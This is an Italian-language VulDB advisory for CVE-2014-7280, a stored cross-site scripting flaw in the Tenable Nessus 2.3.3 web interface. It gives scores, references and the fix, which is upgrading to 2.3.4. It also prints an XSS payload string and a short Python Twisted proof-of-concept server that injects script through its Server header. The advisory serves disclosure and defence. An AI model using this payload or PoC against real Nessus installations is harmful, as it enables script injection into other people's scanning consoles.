Tenable Nessus 2.3.3 HTTP Header Host cross site scripting

StoriaDiffcollegarejsonxmlCTI

CVSS Punteggio meta temporaneo	Prezzo attuale dell'exploit (≈)	Punteggio di interesse CTI
4.1	$0-$5k	0.00

Riassuntoinformazioni

Una vulnerabilità di livello problematico è stata rilevata in Tenable Nessus 2.3.3. Riguarda una funzione sconosciuta del componente HTTP Header Handler. Attraverso l'influenza del parametro Host del valore di input <script>alert(1)</script>foo di un input sconosciuto per mezzo di una vulerabilità di classe cross site scripting. Questo punto di criticità è identificato come CVE-2014-7280. Dalla rete può partire l'attacco. Inoltre, è presente un exploit disponibile. Il miglior modo suggerito per attenuare il problema è aggiornamento all'ultima versione.

Dettagliinformazioni

In Tenable Nessus 2.3.3 (Security Testing Software) è stata rilevato un punto critico di livello problematico. É interessato una funzione sconosciuta del componente HTTP Header Handler. Attraverso l'influenza del parametro Host del valore di input <script>alert(1)</script>foo conseguenza di una vulerabilità di classe cross site scripting. Gli effetti sono noti per la integrità.

Data di scoperta del problema 13/06/2014. La vulnerabilità è stata pubblicata in data 07/10/2014 da Frank Lycops con identificazione File 128579 con un avis (Packetstorm) (confermato). L'advisory è scaricabile da packetstormsecurity.com. La pubblicazione è stata eseguita con il produttore. CVE-2014-7280 è identificato come punto debole. L'attacco può essere lanciato da remoto. Nessuna autentificazione è richiesta per l'uso. I dettagli tecnici e un pubblico metodo di utilizzo sono conosciuti.

Un metodo di utilizzo è stato sviluppato da Frank Lycops in Python ed è stata pubblicata immediatamente dopo il comunicato. L'exploit è scaricabile da packetstormsecurity.com. È stato dichiarato come altamente funzionale. Un plugin è disponibile per lo scanner Nessus, numero ID 88965 (Nessus Web UI Scanned Content Stored XSS), che può aiutare a determinare l'esistenza della criticità nel sistema analizzato. Il codice utilizzato dal exploit è:

#!/usr/bin/env python
import sys
from twisted.web import server, resource
from twisted.internet import reactor
from twisted.python import log

class Site(server.Site):
    def getResourceFor(self, request):
        request.setHeader('server', '&lt;script>alert(1)&lt;/script>SomeServer')
        return server.Site.getResourceFor(self, request)

class HelloResource(resource.Resource):
    isLeaf = True
    numberRequests = 0

    def render_GET(self, request):
        self.numberRequests += 1
        request.setHeader("content-type", "text/plain")
return "theSecurityFactory Nessus POC"

log.startLogging(sys.stderr)
reactor.listenTCP(8080, Site(HelloResource()))
reactor.run()

L'aggiornamento alla versione 2.3.4 build#85 elimina questa vulnerabilità. Una possibile soluzione è stata pubblicata prima e non solo dopo la pubblicazione della vulnerabilità.

La vulnerabilità è documentata anche nel database X-Force (96886), Exploit-DB (34929), Tenable (88965), SecurityFocus (BID 70274†) e OSVDB (112728†). Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Prodottoinformazioni

Genere

Security Testing Software

Fornitore

Tenable

Nome

Nessus

Versione

2.3.3

Licenza

open source

CPE 2.3informazioni

CPE 2.2informazioni

CVSSv4informazioni

VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

CVSSv3informazioni

VulDB Punteggio meta-base: 4.3
VulDB Punteggio meta temporaneo: 4.1

VulDB Punteggio di base: 4.3
VulDB Punteggio temporaneo: 4.1
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

CVSSv2informazioni

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vettore	Complessità	Autenticazione	Riservatezza	Integrità	Disponibilità
Sbloccare	Sbloccare	Sbloccare	Sbloccare	Sbloccare	Sbloccare
Sbloccare	Sbloccare	Sbloccare	Sbloccare	Sbloccare	Sbloccare
Sbloccare	Sbloccare	Sbloccare	Sbloccare	Sbloccare	Sbloccare

VulDB Punteggio di base: 🔍
VulDB Punteggio temporaneo: 🔍
VulDB Affidabilità: 🔍

NVD Punteggio di base: 🔍

Sfruttamentoinformazioni

Classe: Cross site scripting
CWE: CWE-79 / CWE-94 / CWE-74
CAPEC: 🔍
ATT&CK: 🔍

Fisico: No
Locale: No
Remoto: Si

Disponibilità: 🔍
Accesso: Pubblico
Stato: Altamente funzionale
Autore: Frank Lycops
Linguaggio di programmazione: 🔍
Scaricare: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Previsione dei prezzi: 🔍
Preventivo attuale: 🔍

0-Day	Sbloccare	Sbloccare	Sbloccare	Sbloccare
Oggi	Sbloccare	Sbloccare	Sbloccare	Sbloccare

Nessus ID: 88965
Nessus Nome: Nessus Web UI Scanned Content Stored XSS
Nessus File: 🔍
Nessus Rischio: 🔍
Nessus Famiglia: 🔍

Exploit-DB: 🔍

Intelligence sulle minacceinformazioni

Interesse: 🔍
Attori attivi: 🔍
Gruppi APT attivi: 🔍

Contromisureinformazioni

Raccomandazione: Aggiornamento
Stato: 🔍

Tempo di reazione: 🔍
Tempo 0 giorni: 🔍
Tempo di ritardo sfruttamento: 🔍

Aggiornamento: Nessus 2.3.4 build#85

Sequenza temporaleinformazioni

13/06/2014 🔍
13/06/2014 +0 giorni 🔍
13/06/2014 +0 giorni 🔍
13/06/2014 +0 giorni 🔍
01/10/2014 +110 giorni 🔍
07/10/2014 +6 giorni 🔍
07/10/2014 +0 giorni 🔍
07/10/2014 +0 giorni 🔍
09/10/2014 +2 giorni 🔍
09/10/2014 +0 giorni 🔍
21/10/2014 +12 giorni 🔍
30/12/2024 +3723 giorni 🔍